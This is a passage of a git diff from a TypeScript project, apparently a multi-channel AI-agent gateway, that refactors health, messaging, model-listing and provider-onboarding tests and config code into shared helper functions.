true, - every: "1m", - everyMs: 60_000, - prompt: "hi", - target: "last", - ackMaxChars: 160, - }, - sessions: { path: "/tmp/sessions.json", count: 0, recent: [] }, + callGatewayMock.mockResolvedValueOnce( + createHealthSummary({ + channels: { + whatsapp: { accountId: "default", linked: false, authAgeMs: null }, + telegram: { accountId: "default", configured: false }, + discord: { accountId: "default", configured: false }, }, - ], - sessions: { path: "/tmp/sessions.json", count: 0, recent: [] }, - } satisfies HealthSummary); + channelOrder: ["whatsapp", "telegram", "discord"], + channelLabels: { + whatsapp: "WhatsApp", + telegram: "Telegram", + discord: "Discord", + }, + }), + ); await healthCommand({ json: false }, runtime as never); @@ -119,10 +117,7 @@ describe("healthCommand", () => { }); it("formats per-account probe timings", () => { - const summary: HealthSummary = { - ok: true, - ts: Date.now(), - durationMs: 5, + const summary = createHealthSummary({ channels: { telegram: { accountId: "main", @@ -149,25 +144,7 @@ describe("healthCommand", () => { }, channelOrder: ["telegram"], channelLabels: { telegram: "Telegram" }, - heartbeatSeconds: 60, - defaultAgentId: "main", - agents: [ - { - agentId: "main", - isDefault: true, - heartbeat: { - enabled: true, - every: "1m", - everyMs: 60_000, - prompt: "hi", - target: "last", - ackMaxChars: 160, - }, - sessions: { path: "/tmp/sessions.json", count: 0, recent: [] }, - }, - ], - sessions: { path: "/tmp/sessions.json", count: 0, recent: [] }, - }; + }); const lines = formatHealthChannelLines(summary, { accountMode: "all" }); expect(lines).toContain( diff --git a/src/commands/message.e2e.test.ts b/src/commands/message.e2e.test.ts index 4c0b0d51069..08f0007b345 100644 --- a/src/commands/message.e2e.test.ts +++ b/src/commands/message.e2e.test.ts @@ -117,26 +117,47 @@ const createStubPlugin = (params: { outbound: params.outbound, }); +const createDiscordPollPluginRegistration = () => ({ + pluginId: "discord", + source: "test", + plugin: createStubPlugin({ + id: "discord", + label: "Discord", + actions: { + listActions: () => ["poll"], + handleAction: async ({ action, params, cfg, accountId }) => + await handleDiscordAction( + { action, to: params.to, accountId: accountId ?? undefined }, + cfg, + ), + }, + }), +}); + +const createTelegramSendPluginRegistration = () => ({ + pluginId: "telegram", + source: "test", + plugin: createStubPlugin({ + id: "telegram", + label: "Telegram", + actions: { + listActions: () => ["send"], + handleAction: async ({ action, params, cfg, accountId }) => + await handleTelegramAction( + { action, to: params.to, accountId: accountId ?? undefined }, + cfg, + ), + }, + }), +}); + describe("messageCommand", () => { it("defaults channel when only one configured", async () => { process.env.TELEGRAM_BOT_TOKEN = "token-abc"; await setRegistry( createTestRegistry([ { - pluginId: "telegram", - source: "test", - plugin: createStubPlugin({ - id: "telegram", - label: "Telegram", - actions: { - listActions: () => ["send"], - handleAction: async ({ action, params, cfg, accountId }) => - await handleTelegramAction( - { action, to: params.to, accountId: accountId ?? undefined }, - cfg, - ), - }, - }), + ...createTelegramSendPluginRegistration(), }, ]), ); @@ -159,36 +180,10 @@ describe("messageCommand", () => { await setRegistry( createTestRegistry([ { - pluginId: "telegram", - source: "test", - plugin: createStubPlugin({ - id: "telegram", - label: "Telegram", - actions: { - listActions: () => ["send"], - handleAction: async ({ action, params, cfg, accountId }) => - await handleTelegramAction( - { action, to: params.to, accountId: accountId ?? undefined }, - cfg, - ), - }, - }), + ...createTelegramSendPluginRegistration(), }, { - pluginId: "discord", - source: "test", - plugin: createStubPlugin({ - id: "discord", - label: "Discord", - actions: { - listActions: () => ["poll"], - handleAction: async ({ action, params, cfg, accountId }) => - await handleDiscordAction( - { action, to: params.to, accountId: accountId ?? undefined }, - cfg, - ), - }, - }), + ...createDiscordPollPluginRegistration(), }, ]), ); @@ -242,20 +237,7 @@ describe("messageCommand", () => { await setRegistry( createTestRegistry([ { - pluginId: "discord", - source: "test", - plugin: createStubPlugin({ - id: "discord", - label: "Discord", - actions: { - listActions: () => ["poll"], - handleAction: async ({ action, params, cfg, accountId }) => - await handleDiscordAction( - { action, to: params.to, accountId: accountId ?? undefined }, - cfg, - ), - }, - }), + ...createDiscordPollPluginRegistration(), }, ]), ); diff --git a/src/commands/models.list.test.ts b/src/commands/models.list.test.ts index 932ccec7a03..0b75fb83e9f 100644 --- a/src/commands/models.list.test.ts +++ b/src/commands/models.list.test.ts @@ -123,6 +123,16 @@ describe("models list/status", () => { baseUrl: "https://api.openai.com/v1", contextWindow: 128000, }; + const GOOGLE_ANTIGRAVITY_TEMPLATE_BASE = { + provider: "google-antigravity", + api: "google-gemini-cli", + input: ["text", "image"], + baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", + contextWindow: 200000, + maxTokens: 64000, + reasoning: true, + cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, + }; function setDefaultModel(model: string) { loadConfig.mockReturnValue({ @@ -130,11 +140,68 @@ describe("models list/status", () => { }); } + function configureModelAsConfigured(model: string) { + loadConfig.mockReturnValue({ + agents: { + defaults: { + model, + models: { + [model]: {}, + }, + }, + }, + }); + } + + function configureGoogleAntigravityModel(modelId: string) { + configureModelAsConfigured(`google-antigravity/${modelId}`); + } + + function makeGoogleAntigravityTemplate(id: string, name: string) { + return { + ...GOOGLE_ANTIGRAVITY_TEMPLATE_BASE, + id, + name, + }; + } + + function enableGoogleAntigravityAuthProfile() { + listProfilesForProvider.mockImplementation((_: unknown, provider: string) => + provider === "google-antigravity" + ? ([{ id: "profile-1" }] as Array>) + : [], + ); + } + function parseJsonLog(runtime: ReturnType) { expect(runtime.log).toHaveBeenCalledTimes(1); return JSON.parse(String(runtime.log.mock.calls[0]?.[0])); } + async function runAvailabilityFallbackCase(params: { + setup?: () => void; + expectedErrorDetail: string; + }) { + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); + enableGoogleAntigravityAuthProfile(); + const runtime = makeRuntime(); + + modelRegistryState.models = [ + makeGoogleAntigravityTemplate("claude-opus-4-5-thinking", "Claude Opus 4.5 Thinking"), + ]; + modelRegistryState.available = []; + params.setup?.(); + await modelsListCommand({ json: true }, runtime); + + expect(runtime.error).toHaveBeenCalledTimes(1); + expect(runtime.error.mock.calls[0]?.[0]).toContain("falling back to auth heuristics"); + expect(runtime.error.mock.calls[0]?.[0]).toContain(params.expectedErrorDetail); + const payload = parseJsonLog(runtime); + expect(payload.models[0]?.key).toBe("google-antigravity/claude-opus-4-6-thinking"); + expect(payload.models[0]?.missing).toBe(false); + expect(payload.models[0]?.available).toBe(true); + } + async function expectZaiProviderFilter(provider: string) { setDefaultModel("z.ai/glm-4.7"); const runtime = makeRuntime(); @@ -153,49 +220,54 @@ describe("models list/status", () => { ({ modelsListCommand } = await import("./models/list.list-command.js")); }); + it("models list outputs canonical zai key for configured z.ai model", async () => { + loadConfig.mockReturnValue({ + agents: { defaults: { model: "z.ai/glm-4.7" } }, + }); + const runtime = makeRuntime(); + + modelRegistryState.models = [ZAI_MODEL]; + modelRegistryState.available = [ZAI_MODEL]; + await modelsListCommand({ json: true }, runtime); + + expect(runtime.log).toHaveBeenCalledTimes(1); + const payload = JSON.parse(String(runtime.log.mock.calls[0]?.[0])); + expect(payload.models[0]?.key).toBe("zai/glm-4.7"); + }); + it("models list plain outputs canonical zai key", async () => { loadConfig.mockReturnValue({ agents: { defaults: { model: "z.ai/glm-4.7" } }, }); const runtime = makeRuntime(); - const model = { - provider: "zai", - id: "glm-4.7", - name: "GLM-4.7", - input: ["text"], - baseUrl: "https://api.z.ai/v1", - contextWindow: 128000, - }; - - modelRegistryState.models = [model]; - modelRegistryState.available = [model]; + modelRegistryState.models = [ZAI_MODEL]; + modelRegistryState.available = [ZAI_MODEL]; await modelsListCommand({ plain: true }, runtime); expect(runtime.log).toHaveBeenCalledTimes(1); expect(runtime.log.mock.calls[0]?.[0]).toBe("zai/glm-4.7"); }); + it("models list provider filter normalizes z.ai alias", async () => { + await expectZaiProviderFilter("z.ai"); + }); + it("models list provider filter normalizes Z.AI alias casing", async () => { await expectZaiProviderFilter("Z.AI"); }); + it("models list provider filter normalizes z-ai alias", async () => { + await expectZaiProviderFilter("z-ai"); + }); + it("models list marks auth as unavailable when ZAI key is missing", async () => { loadConfig.mockReturnValue({ agents: { defaults: { model: "z.ai/glm-4.7" } }, }); const runtime = makeRuntime(); - const model = { - provider: "zai", - id: "glm-4.7", - name: "GLM-4.7", - input: ["text"], - baseUrl: "https://api.z.ai/v1", - contextWindow: 128000, - }; - - modelRegistryState.models = [model]; + modelRegistryState.models = [ZAI_MODEL]; modelRegistryState.available = []; await modelsListCommand({ all: true, json: true }, runtime); @@ -205,31 +277,11 @@ describe("models list/status", () => { }); it("models list resolves antigravity opus 4.6 thinking from 4.5 template", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, - }, - }); + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); const runtime = makeRuntime(); modelRegistryState.models = [ - { - provider: "google-antigravity", - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - }, + makeGoogleAntigravityTemplate("claude-opus-4-5-thinking", "Claude Opus 4.5 Thinking"), ]; modelRegistryState.available = []; await modelsListCommand({ json: true }, runtime); @@ -243,31 +295,11 @@ describe("models list/status", () => { }); it("models list resolves antigravity opus 4.6 (non-thinking) from 4.5 template", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6", - models: { - "google-antigravity/claude-opus-4-6": {}, - }, - }, - }, - }); + configureGoogleAntigravityModel("claude-opus-4-6"); const runtime = makeRuntime(); modelRegistryState.models = [ - { - provider: "google-antigravity", - id: "claude-opus-4-5", - name: "Claude Opus 4.5", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - }, + makeGoogleAntigravityTemplate("claude-opus-4-5", "Claude Opus 4.5"), ]; modelRegistryState.available = []; await modelsListCommand({ json: true }, runtime); @@ -281,30 +313,13 @@ describe("models list/status", () => { }); it("models list marks synthesized antigravity opus 4.6 thinking as available when template is available", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, - }, - }); + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); const runtime = makeRuntime(); - const template = { - provider: "google-antigravity", - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - }; + const template = makeGoogleAntigravityTemplate( + "claude-opus-4-5-thinking", + "Claude Opus 4.5 Thinking", + ); modelRegistryState.models = [template]; modelRegistryState.available = [template]; await modelsListCommand({ json: true }, runtime); @@ -316,36 +331,31 @@ describe("models list/status", () => { expect(payload.models[0]?.available).toBe(true); }); - it("models list prefers registry availability over provider auth heuristics", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, - }, - }); - listProfilesForProvider.mockImplementation((_: unknown, provider: string) => - provider === "google-antigravity" - ? ([{ id: "profile-1" }] as Array>) - : [], - ); + it("models list marks synthesized antigravity opus 4.6 (non-thinking) as available when template is available", async () => { + configureGoogleAntigravityModel("claude-opus-4-6"); const runtime = makeRuntime(); - const template = { - provider: "google-antigravity", - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - }; + const template = makeGoogleAntigravityTemplate("claude-opus-4-5", "Claude Opus 4.5"); + modelRegistryState.models = [template]; + modelRegistryState.available = [template]; + await modelsListCommand({ json: true }, runtime); + + expect(runtime.log).toHaveBeenCalledTimes(1); + const payload = JSON.parse(String(runtime.log.mock.calls[0]?.[0])); + expect(payload.models[0]?.key).toBe("google-antigravity/claude-opus-4-6"); + expect(payload.models[0]?.missing).toBe(false); + expect(payload.models[0]?.available).toBe(true); + }); + + it("models list prefers registry availability over provider auth heuristics", async () => { + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); + enableGoogleAntigravityAuthProfile(); + const runtime = makeRuntime(); + + const template = makeGoogleAntigravityTemplate( + "claude-opus-4-5-thinking", + "Claude Opus 4.5 Thinking", + ); modelRegistryState.models = [template]; modelRegistryState.available = []; await modelsListCommand({ json: true }, runtime); @@ -358,112 +368,40 @@ describe("models list/status", () => { listProfilesForProvider.mockReturnValue([]); }); - it("models list falls back to auth heuristics when getAvailable returns invalid shape", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, + it("models list falls back to auth heuristics when registry availability is unavailable", async () => { + await runAvailabilityFallbackCase({ + setup: () => { + modelRegistryState.getAvailableError = Object.assign( + new Error("availability unsupported: getAvailable failed"), + { code: "MODEL_AVAILABILITY_UNAVAILABLE" }, + ); }, + expectedErrorDetail: "getAvailable failed", }); - listProfilesForProvider.mockImplementation((_: unknown, provider: string) => - provider === "google-antigravity" - ? ([{ id: "profile-1" }] as Array>) - : [], - ); - modelRegistryState.available = { bad: true } as unknown as Array>; - const runtime = makeRuntime(); + }); - modelRegistryState.models = [ - { - provider: "google-antigravity", - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, + it("models list falls back to auth heuristics when getAvailable returns invalid shape", async () => { + await runAvailabilityFallbackCase({ + setup: () => { + modelRegistryState.available = { bad: true } as unknown as Array>; }, - ]; - await modelsListCommand({ json: true }, runtime); - - expect(runtime.error).toHaveBeenCalledTimes(1); - expect(runtime.error.mock.calls[0]?.[0]).toContain("falling back to auth heuristics"); - expect(runtime.error.mock.calls[0]?.[0]).toContain("non-array value"); - expect(runtime.log).toHaveBeenCalledTimes(1); - const payload = JSON.parse(String(runtime.log.mock.calls[0]?.[0])); - expect(payload.models[0]?.key).toBe("google-antigravity/claude-opus-4-6-thinking"); - expect(payload.models[0]?.missing).toBe(false); - expect(payload.models[0]?.available).toBe(true); + expectedErrorDetail: "non-array value", + }); }); it("models list falls back to auth heuristics when getAvailable throws", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, + await runAvailabilityFallbackCase({ + setup: () => { + modelRegistryState.getAvailableError = new Error( + "availability unsupported: getAvailable failed", + ); }, + expectedErrorDetail: "availability unsupported: getAvailable failed", }); - listProfilesForProvider.mockImplementation((_: unknown, provider: string) => - provider === "google-antigravity" - ? ([{ id: "profile-1" }] as Array>) - : [], - ); - modelRegistryState.getAvailableError = new Error( - "availability unsupported: getAvailable failed", - ); - const runtime = makeRuntime(); - - modelRegistryState.models = [ - { - provider: "google-antigravity", - id: "claude-opus-4-5-thinking", - name: "Claude Opus 4.5 Thinking", - api: "google-gemini-cli", - input: ["text", "image"], - baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com", - contextWindow: 200000, - maxTokens: 64000, - reasoning: true, - cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, - }, - ]; - modelRegistryState.available = []; - await modelsListCommand({ json: true }, runtime); - - expect(runtime.error).toHaveBeenCalledTimes(1); - expect(runtime.error.mock.calls[0]?.[0]).toContain("falling back to auth heuristics"); - expect(runtime.error.mock.calls[0]?.[0]).toContain( - "availability unsupported: getAvailable failed", - ); - expect(runtime.log).toHaveBeenCalledTimes(1); - const payload = JSON.parse(String(runtime.log.mock.calls[0]?.[0])); - expect(payload.models[0]?.key).toBe("google-antigravity/claude-opus-4-6-thinking"); - expect(payload.models[0]?.missing).toBe(false); - expect(payload.models[0]?.available).toBe(true); }); it("models list does not treat availability-unavailable code as discovery fallback", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, - }, - }); + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); modelRegistryState.getAllError = Object.assign(new Error("model discovery failed"), { code: "MODEL_AVAILABILITY_UNAVAILABLE", }); @@ -479,21 +417,8 @@ describe("models list/status", () => { }); it("models list fails fast when registry model discovery is unavailable", async () => { - loadConfig.mockReturnValue({ - agents: { - defaults: { - model: "google-antigravity/claude-opus-4-6-thinking", - models: { - "google-antigravity/claude-opus-4-6-thinking": {}, - }, - }, - }, - }); - listProfilesForProvider.mockImplementation((_: unknown, provider: string) => - provider === "google-antigravity" - ? ([{ id: "profile-1" }] as Array>) - : [], - ); + configureGoogleAntigravityModel("claude-opus-4-6-thinking"); + enableGoogleAntigravityAuthProfile(); modelRegistryState.getAllError = Object.assign(new Error("model discovery unavailable"), { code: "MODEL_DISCOVERY_UNAVAILABLE", }); @@ -510,6 +435,18 @@ describe("models list/status", () => { expect(process.exitCode).toBe(1); }); + it("loadModelRegistry throws when model discovery is unavailable", async () => { + modelRegistryState.getAllError = Object.assign(new Error("model discovery unavailable"), { + code: "MODEL_DISCOVERY_UNAVAILABLE", + }); + modelRegistryState.available = [ + makeGoogleAntigravityTemplate("claude-opus-4-5-thinking", "Claude Opus 4.5 Thinking"), + ]; + + const { loadModelRegistry } = await import("./models/list.registry.js"); + await expect(loadModelRegistry({})).rejects.toThrow("model discovery unavailable"); + }); + it("toModelRow does not crash without cfg/authStore when availability is undefined", async () => { const { toModelRow } = await import("./models/list.registry.js"); diff --git a/src/commands/models.set.e2e.test.ts b/src/commands/models.set.e2e.test.ts index a64bcc93c3b..1ccfdbe2bbe 100644 --- a/src/commands/models.set.e2e.test.ts +++ b/src/commands/models.set.e2e.test.ts @@ -11,6 +11,27 @@ vi.mock("../config/config.js", () => ({ loadConfig, })); +function mockConfigSnapshot(config: Record = {}) { + readConfigFileSnapshot.mockResolvedValue({ + path: "/tmp/openclaw.json", + exists: true, + raw: "{}", + parsed: {}, + valid: true, + config, + issues: [], + legacyIssues: [], + }); +} + +function makeRuntime() { + return { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; +} + +function getWrittenConfig() { + return writeConfigFile.mock.calls[0]?.[0] as Record; +} + describe("models set + fallbacks", () => { beforeEach(() => { readConfigFileSnapshot.mockReset(); @@ -18,24 +39,14 @@ describe("models set + fallbacks", () => { }); it("normalizes z.ai provider in models set", async () => { - readConfigFileSnapshot.mockResolvedValue({ - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], - }); - - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + mockConfigSnapshot({}); + const runtime = makeRuntime(); const { modelsSetCommand } = await import("./models/set.js"); await modelsSetCommand("z.ai/glm-4.7", runtime); expect(writeConfigFile).toHaveBeenCalledTimes(1); - const written = writeConfigFile.mock.calls[0]?.[0] as Record; + const written = getWrittenConfig(); expect(written.agents).toEqual({ defaults: { model: { primary: "zai/glm-4.7" }, @@ -45,24 +56,14 @@ describe("models set + fallbacks", () => { }); it("normalizes z-ai provider in models fallbacks add", async () => { - readConfigFileSnapshot.mockResolvedValue({ - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: { agents: { defaults: { model: { fallbacks: [] } } } }, - issues: [], - legacyIssues: [], - }); - - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + mockConfigSnapshot({ agents: { defaults: { model: { fallbacks: [] } } } }); + const runtime = makeRuntime(); const { modelsFallbacksAddCommand } = await import("./models/fallbacks.js"); await modelsFallbacksAddCommand("z-ai/glm-4.7", runtime); expect(writeConfigFile).toHaveBeenCalledTimes(1); - const written = writeConfigFile.mock.calls[0]?.[0] as Record; + const written = getWrittenConfig(); expect(written.agents).toEqual({ defaults: { model: { fallbacks: ["zai/glm-4.7"] }, @@ -72,24 +73,14 @@ describe("models set + fallbacks", () => { }); it("normalizes provider casing in models set", async () => { - readConfigFileSnapshot.mockResolvedValue({ - path: "/tmp/openclaw.json", - exists: true, - raw: "{}", - parsed: {}, - valid: true, - config: {}, - issues: [], - legacyIssues: [], - }); - - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + mockConfigSnapshot({}); + const runtime = makeRuntime(); const { modelsSetCommand } = await import("./models/set.js"); await modelsSetCommand("Z.AI/glm-4.7", runtime); expect(writeConfigFile).toHaveBeenCalledTimes(1); - const written = writeConfigFile.mock.calls[0]?.[0] as Record; + const written = getWrittenConfig(); expect(written.agents).toEqual({ defaults: { model: { primary: "zai/glm-4.7" }, diff --git a/src/commands/onboard-auth.config-minimax.ts b/src/commands/onboard-auth.config-minimax.ts index 3fa91254bbd..1f3ca04a173 100644 --- a/src/commands/onboard-auth.config-minimax.ts +++ b/src/commands/onboard-auth.config-minimax.ts @@ -1,6 +1,9 @@ import type { OpenClawConfig } from "../config/config.js"; import type { ModelProviderConfig } from "../config/types.models.js"; -import { applyOnboardAuthAgentModelsAndProviders } from "./onboard-auth.config-shared.js"; +import { + applyAgentDefaultModelPrimary, + applyOnboardAuthAgentModelsAndProviders, +} from "./onboard-auth.config-shared.js"; import { buildMinimaxApiModelDefinition, buildMinimaxModelDefinition, @@ -82,24 +85,7 @@ export function applyMinimaxHostedProviderConfig( export function applyMinimaxConfig(cfg: OpenClawConfig): OpenClawConfig { const next = applyMinimaxProviderConfig(cfg); - return { - ...next, - agents: { - ...next.agents, - defaults: { - ...next.agents?.defaults, - model: { - ...(next.agents?.defaults?.model && - "fallbacks" in (next.agents.defaults.model as Record) - ? { - fallbacks: (next.agents.defaults.model as { fallbacks?: string[] }).fallbacks, - } - : undefined), - primary: "lmstudio/minimax-m2.1-gs32", - }, - }, - }, - }; + return applyAgentDefaultModelPrimary(next, "lmstudio/minimax-m2.1-gs32"); } export function applyMinimaxHostedConfig( @@ -223,22 +209,5 @@ function applyMinimaxApiConfigWithBaseUrl( params: MinimaxApiProviderConfigParams, ): OpenClawConfig { const next = applyMinimaxApiProviderConfigWithBaseUrl(cfg, params); - return { - ...next, - agents: { - ...next.agents, - defaults: { - ...next.agents?.defaults, - model: { - ...(next.agents?.defaults?.model && - "fallbacks" in (next.agents.defaults.model as Record) - ? { - fallbacks: (next.agents.defaults.model as { fallbacks?: string[] }).fallbacks, - } - : undefined), - primary: `${params.providerId}/${params.modelId}`, - }, - }, - }, - }; + return applyAgentDefaultModelPrimary(next, `${params.providerId}/${params.modelId}`); } diff --git a/src/commands/onboard-auth.config-opencode.ts b/src/commands/onboard-auth.config-opencode.ts index fd3a77076dd..b6d994aad24 100644 --- a/src/commands/onboard-auth.config-opencode.ts +++ b/src/commands/onboard-auth.config-opencode.ts @@ -1,5 +1,6 @@ import type { OpenClawConfig } from "../config/config.js"; import { OPENCODE_ZEN_DEFAULT_MODEL_REF } from "../agents/opencode-zen-models.js"; +import { applyAgentDefaultModelPrimary } from "./onboard-auth.config-shared.js"; export function applyOpencodeZenProviderConfig(cfg: OpenClawConfig): OpenClawConfig { // Use the built-in opencode provider from pi-ai; only seed the allowlist alias. @@ -23,22 +24,5 @@ export function applyOpencodeZenProviderConfig(cfg: OpenClawConfig): OpenClawCon export function applyOpencodeZenConfig(cfg: OpenClawConfig): OpenClawConfig { const next = applyOpencodeZenProviderConfig(cfg); - return { - ...next, - agents: { - ...next.agents, - defaults: { - ...next.agents?.defaults, - model: { - ...(next.agents?.defaults?.model && - "fallbacks" in (next.agents.defaults.model as Record) - ? { - fallbacks: (next.agents.defaults.model as { fallbacks?: string[] }).fallbacks, - } - : undefined), - primary: OPENCODE_ZEN_DEFAULT_MODEL_REF, - }, - }, - }, - }; + return applyAgentDefaultModelPrimary(next, OPENCODE_ZEN_DEFAULT_MODEL_REF); } diff --git a/src/commands/onboard-auth.config-shared.ts b/src/commands/onboard-auth.config-shared.ts index c2726eb8335..28a167f1c8b 100644 --- a/src/commands/onboard-auth.config-shared.ts +++ b/src/commands/onboard-auth.config-shared.ts @@ -89,20 +89,13 @@ export function applyProviderConfigWithDefaultModels( ? existingModels : [...existingModels, ...defaultModels] : defaultModels; - - const { apiKey: existingApiKey, ...existingProviderRest } = (existingProvider ?? {}) as { - apiKey?: string; - }; - - const normalizedApiKey = typeof existingApiKey === "string" ? existingApiKey.trim() : undefined; - - providers[params.providerId] = { - ...existingProviderRest, - baseUrl: params.baseUrl, + providers[params.providerId] = buildProviderConfig({ + existingProvider, api: params.api, - ...(normalizedApiKey ? { apiKey: normalizedApiKey } : {}), - models: mergedModels.length > 0 ? mergedModels : defaultModels, - }; + baseUrl: params.baseUrl, + mergedModels, + fallbackModels: defaultModels, + }); return applyOnboardAuthAgentModelsAndProviders(cfg, { agentModels: params.agentModels, @@ -157,23 +150,37 @@ export function applyProviderConfigWithModelCatalog( ), ] : catalogModels; - - const { apiKey: existingApiKey, ...existingProviderRest } = (existingProvider ?? {}) as { - apiKey?: string; - }; - - const normalizedApiKey = typeof existingApiKey === "string" ? existingApiKey.trim() : undefined; - - providers[params.providerId] = { - ...existingProviderRest, - baseUrl: params.baseUrl, + providers[params.providerId] = buildProviderConfig({ + existingProvider, api: params.api, - ...(normalizedApiKey ? { apiKey: normalizedApiKey } : {}), - models: mergedModels.length > 0 ? mergedModels : catalogModels, - }; + baseUrl: params.baseUrl, + mergedModels, + fallbackModels: catalogModels, + }); return applyOnboardAuthAgentModelsAndProviders(cfg, { agentModels: params.agentModels, providers, }); } + +function buildProviderConfig(params: { + existingProvider: ModelProviderConfig | undefined; + api: ModelApi; + baseUrl: string; + mergedModels: ModelDefinitionConfig[]; + fallbackModels: ModelDefinitionConfig[]; +}): ModelProviderConfig { + const { apiKey: existingApiKey, ...existingProviderRest } = (params.existingProvider ?? {}) as { + apiKey?: string; + }; + const normalizedApiKey = typeof existingApiKey === "string" ? existingApiKey.trim() : undefined; + + return { + ...existingProviderRest, + baseUrl: params.baseUrl, + api: params.api, + ...(normalizedApiKey ? { apiKey: normalizedApiKey } : {}), + models: params.mergedModels.length > 0 ? params.mergedModels : params.fallbackModels, + }; +} diff --git a/src/commands/onboard-auth.e2e.test.ts b/src/commands/onboard-auth.e2e.test.ts index a26c544e133..7a9c931ceef 100644 --- a/src/commands/onboard-auth.e2e.test.ts +++ b/src/commands/onboard-auth.e2e.test.ts @@ -40,6 +40,36 @@ const requireAgentDir = () => { return agentDir; }; +function createLegacyProviderConfig(params: { + providerId: string; + api: string; + modelId?: string; + modelName?: string; +}) { + return { + models: { + providers: { + [params.providerId]: { + baseUrl: "https://old.example.com", + apiKey: "old-key", + api: params.api, + models: [ + { + id: params.modelId ?? "old-model", + name: params.modelName ?? "Old", + reasoning: false, + input: ["text"], + cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 1000, + maxTokens: 100, + }, + ], + }, + }, + }, + }; +} + describe("writeOAuthCredentials", () => { const envSnapshot = captureEnv([ "OPENCLAW_STATE_DIR", @@ -209,28 +239,12 @@ describe("applyMinimaxApiConfig", () => { }); it("merges existing minimax provider models", () => { - const cfg = applyMinimaxApiConfig({ - models: { - providers: { - minimax: { - baseUrl: "https://old.example.com", - apiKey: "old-key", - api: "openai-completions", - models: [ - { - id: "old-model", - name: "Old", - reasoning: false, - input: ["text"], - cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1000, - maxTokens: 100, - }, - ], - }, - }, - }, - }); + const cfg = applyMinimaxApiConfig( + createLegacyProviderConfig({ + providerId: "minimax", + api: "openai-completions", + }), + ); expect(cfg.models?.providers?.minimax?.baseUrl).toBe("https://api.minimax.io/anthropic"); expect(cfg.models?.providers?.minimax?.api).toBe("anthropic-messages"); expect(cfg.models?.providers?.minimax?.apiKey).toBe("old-key"); @@ -341,28 +355,12 @@ describe("applySyntheticConfig", () => { }); it("merges existing synthetic provider models", () => { - const cfg = applySyntheticProviderConfig({ - models: { - providers: { - synthetic: { - baseUrl: "https://old.example.com", - apiKey: "old-key", - api: "openai-completions", - models: [ - { - id: "old-model", - name: "Old", - reasoning: false, - input: ["text"], - cost: { input: 1, output: 2, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1000, - maxTokens: 100, - }, - ], - }, - }, - }, - }); + const cfg = applySyntheticProviderConfig( + createLegacyProviderConfig({ + providerId: "synthetic", + api: "openai-completions", + }), + ); expect(cfg.models?.providers?.synthetic?.baseUrl).toBe("https://api.synthetic.new/anthropic"); expect(cfg.models?.providers?.synthetic?.api).toBe("anthropic-messages"); expect(cfg.models?.providers?.synthetic?.apiKey).toBe("old-key"); @@ -383,28 +381,14 @@ describe("applyXiaomiConfig", () => { }); it("merges Xiaomi models and keeps existing provider overrides", () => { - const cfg = applyXiaomiProviderConfig({ - 